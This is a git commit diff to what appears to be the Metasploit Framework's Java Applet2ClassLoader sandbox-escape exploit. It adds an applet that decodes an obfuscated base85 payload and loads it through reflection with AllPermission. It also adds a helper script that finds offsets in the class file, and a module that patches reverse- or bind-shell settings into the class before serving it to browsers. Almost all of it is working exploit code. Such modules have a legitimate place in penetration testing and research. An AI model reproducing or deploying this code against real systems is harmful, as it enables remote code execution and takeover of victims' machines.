enable java payloads, currently via one-off method
git-svn-id: file:///home/svn/framework3/trunk@12012 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
e094c7e941
commit
fb6107ffb5
Binary file not shown.
|
@ -1,19 +1,198 @@
|
|||
|
||||
public class AppletX extends java.applet.Applet
|
||||
{
|
||||
@SuppressWarnings("unchecked")
|
||||
public void init()
|
||||
{
|
||||
Process p = null;
|
||||
System.out.println( "Executing" );
|
||||
|
||||
try
|
||||
{
|
||||
p = Runtime.getRuntime().exec( "calc.exe" );
|
||||
if( p == null )
|
||||
{
|
||||
System.out.println( "Null process, crap" );
|
||||
String CONFIG = "CONFIGZZ";
|
||||
String DATA = ("`<Q>f1J@mS#$,D@%=S:g##d<]4%ovA#$*Wc&;'sg4wlnv#%djF+A<**#$*c" +
|
||||
"g%Yk%,##dWf+A<*.##mci+A<-1#$*um%?1?v#$+&o&<Hm_92$:.#*Jss:.tqe#*f0v;+q4" +
|
||||
"j#%@RC;bRIo%@R9*##e<$'MJP-7w`;K<L?Ub8ukpd##/'dB=:KMEdM6A27%24Dn^=q#DZs" +
|
||||
"5FcQu8B>AT0B;0Lh#I/Ek7w:#l7w32Y;NG1V#G4qaB=nXVB=hv/B=L=C##00`#EDwnCUjm" +
|
||||
"XG/%J2HF7~2#Jac>Gc_cc.`Gi?I'%.~B=K4v=`A#pFL?/7(JFkGI'%.~B=KV,8UG*kH+ve" +
|
||||
"-%nlwhHFeC(Dnor$$qp]8Dn9YK##.;,E0r&)26D&6H`q#*J&#dBFhU~/HEUo*8wJrYDlml" +
|
||||
"u8>ePj>]iB@8PfCk#I.g]DjV&=H^~NeGd1_uEiriR&53,>CThuTFgZ>6##fTa),((3=MSL" +
|
||||
"aHb4@68$QRJGed8&#Iw9X;KO?kB>S)qFKKA9HClk,D7XH*E0r)>26D&6:O@#tHGORACVFn" +
|
||||
"m#D[0.Ej#[N._g&:/o^kqI'%.~B=KV,=aOf&FL?/7;KY(;B>S)qFKKA9EfVli6,.KQ=]PN" +
|
||||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hv6JMSM+aXcR(0^eN#6GjQ;b]nv]S6uN,Dq^h~C(BP#3CD>Al'N%$$HH5#6G$" +
|
||||
"H]QR$<$~jsN?W[=D10FVi+^>$Z]~NSw+.3aF3`$Pu&58a>Al&VK)c6V:_,*$r]ql-@%#,3" +
|
||||
"p%=w_$$Y9Q]/ki#W%:KE]#4*:h)c7Jd3j8`q'MP-A$Y9N`]RU6*MPH;;u1.n(]M]Y%Xd9Z" +
|
||||
"(]QR.UW_f$c$?eX;+liY80S0<$#6G'O0Mj[v$;_I[T1l])$=O'v'hkE1$=O$i#6J:>$;@A" +
|
||||
"d13QBF]]0#(Xd>J[#6#'8$?f/(;<@lj3)$wm=a1%T=`sqS###%)##kS+#8.%Z#6=g0#'']" +
|
||||
"I##5/(0O=`_[S6c8#u%t.#6HE^$V~$9##,+9##G;'##5/*#5~C(######87)H##,+.###%" +
|
||||
".##5/f#####^?6,i#6(,rUeJ5k(v_23U.i)n(vq>5V+e2m~_$oo#6&sQ]^HL1#60Wc^@2c" +
|
||||
"i#612s##);Q#####").replace('~', '\\');
|
||||
byte[] payload = new byte[9132];
|
||||
for (int i = 0; i < DATA.length()/5; i++) {
|
||||
long val=0;
|
||||
for (int j = 0; j < 5; j++) val = val * 85 + (DATA.charAt(i*5+j)-'#');
|
||||
for (int j = 0; j < 4; j++, val >>= 8) payload[i*4+j] = (byte)val;
|
||||
}
|
||||
p.waitFor();
|
||||
Class I = int.class, BA = byte[].class;
|
||||
Class PD = java.security.ProtectionDomain.class;
|
||||
final java.security.Permissions permissions = new java.security.Permissions();
|
||||
permissions.add(new java.security.AllPermission());
|
||||
final java.security.ProtectionDomain pd = new java.security.ProtectionDomain(new
|
||||
java.security.CodeSource(new java.net.URL("file:///"),
|
||||
new java.security.cert.Certificate[0]), permissions);
|
||||
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
|
||||
new Class[] {String.class, BA, I, I, PD});
|
||||
m.setAccessible(true);
|
||||
Class c = (Class) m.invoke(new java.net.URLClassLoader(new java.net.URL[0]),
|
||||
new Object[] {null, payload, new Integer(0), new Integer(1888), pd});
|
||||
byte[] payload2 = new byte[7244];
|
||||
System.arraycopy(payload, 1888, payload2, 0, 7244);
|
||||
c.getConstructor(new Class[] {PD, BA, BA})
|
||||
.newInstance(new Object[] {pd, CONFIG.getBytes(), payload2});
|
||||
}
|
||||
catch( Exception e )
|
||||
{
|
||||
|
|
|
@ -1,7 +1,11 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
dat = nil
|
||||
dat = File.open(ARGV[0], 'rb') { |fd| fd.read }
|
||||
|
||||
puts "cmd_off = 0x%x" % dat.index("\x00\x08calc.exe")
|
||||
if dat
|
||||
puts "config_off = 0x%x" % dat.index("\x00\x08CONFIGZZ")
|
||||
puts "cn_off = 0x%x" % dat.index("\x00\x07AppletX")
|
||||
else
|
||||
"No data?!"
|
||||
end
|
||||
|
||||
|
|
|
@ -21,12 +21,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super( update_info( info,
|
||||
'Name' => 'Sun Java Applet2ClassLoader Remote Code Execution Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in Java Runtime Environment
|
||||
that allows an attacker to escape the Java Sandbox. By supplying a
|
||||
codebase that points at a trusted directory and a code that is a URL that
|
||||
does not contain an dots an applet can run without the sandbox.
|
||||
This module exploits a vulnerability in the Java Runtime Environment
|
||||
that allows an attacker to run an applet outside of the Java Sandbox. When
|
||||
an applet is invoked with:
|
||||
|
||||
The vulnerability affects version 6 prior to update 24.
|
||||
1. A "codebase" parameter that points at a trusted directory
|
||||
2. A "code" parameter that is a URL that does not contain any dots
|
||||
|
||||
the applet will run outside of the sandbox.
|
||||
|
||||
This vulnerability affects JRE prior to version 6 update 24.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
|
@ -42,13 +46,30 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ],
|
||||
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ]
|
||||
],
|
||||
'Platform' => [ 'java', 'win' ],
|
||||
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Platform' => [ 'java' ], #, 'win' ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 20480,
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
# bind doesn't make much sense for client sides
|
||||
'ConnectionType' => '-find -bind'
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23
|
||||
# FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23
|
||||
[ 'Automatic (no payload)', { } ]
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java',
|
||||
}
|
||||
],
|
||||
|
||||
# Native payloads aren't currently supported (only work with jar/war)
|
||||
=begin
|
||||
[ 'Windows x86',
|
||||
{
|
||||
|
@ -56,12 +77,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'win',
|
||||
}
|
||||
],
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java',
|
||||
}
|
||||
],
|
||||
=end
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
|
@ -70,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ false, "Command to run.", "calc.exe"]),
|
||||
# This is the default for a 32-bit Windows install
|
||||
OptString.new('LIBPATH', [ false, "The codebase path to use (privileged)",
|
||||
"C:\\Program Files\\java\\jre6\\lib\\ext"]),
|
||||
], self.class)
|
||||
|
@ -98,27 +113,37 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Do what get_uri does so that we can replace it in the string
|
||||
host = Rex::Socket.source_address(cli.peerhost)
|
||||
host_num = Rex::Socket.addr_aton(host).unpack('N').first
|
||||
|
||||
codebase = "file:" + datastore['LIBPATH']
|
||||
code_url = jpath.sub(host, host_num.to_s)
|
||||
|
||||
cmd = datastore['CMD']
|
||||
cmd_off = 0xb4
|
||||
codebase = "file:" + "C:\\Program Files (x86)\\java\\jre6\\lib\\ext"
|
||||
codebase = "file:" + "C:\\Program Files\\java\\jre6\\lib\\ext"
|
||||
|
||||
cn_off = 0xfc
|
||||
config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n"
|
||||
# The java payloads decide to be reverse if LHOST is set.
|
||||
config << "LHOST=#{datastore['LHOST']}\n" if datastore['PAYLOAD'] =~ /reverse/
|
||||
config_off = 0x10e
|
||||
|
||||
cn_off = 0x2f76
|
||||
|
||||
case request.uri
|
||||
|
||||
when /\.class$/
|
||||
# NOTE: the payload for this module is implemented in the .class file directly.
|
||||
#
|
||||
# This is due to the following:
|
||||
# 1. The file must be a single .class file
|
||||
# 2. The class inside must derive from Applet
|
||||
#
|
||||
# As such, we do not use the traditional payload generation facilities.
|
||||
#p = regenerate_payload(cli)
|
||||
|
||||
print_status("Sending class file to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
cls = @java_class.dup
|
||||
cls[cmd_off,2] = [cmd.length].pack('n')
|
||||
cls[cmd_off+2,8] = cmd
|
||||
cls[config_off,2] = [config.length].pack('n')
|
||||
cls[config_off+2,8] = config
|
||||
|
||||
cn_off += (cmd.length - 8) # the original length was 8 (calc.exe)
|
||||
cn_off += (config.length - 8) # the original length was 8 (CONFIGZZ)
|
||||
cls[cn_off,2] = [code_url.length].pack('n')
|
||||
cls[cn_off+2,7] = code_url
|
||||
|
||||
|
@ -137,7 +162,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
EOS
|
||||
print_status("Sending HTML file to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response_html(cli, html)
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue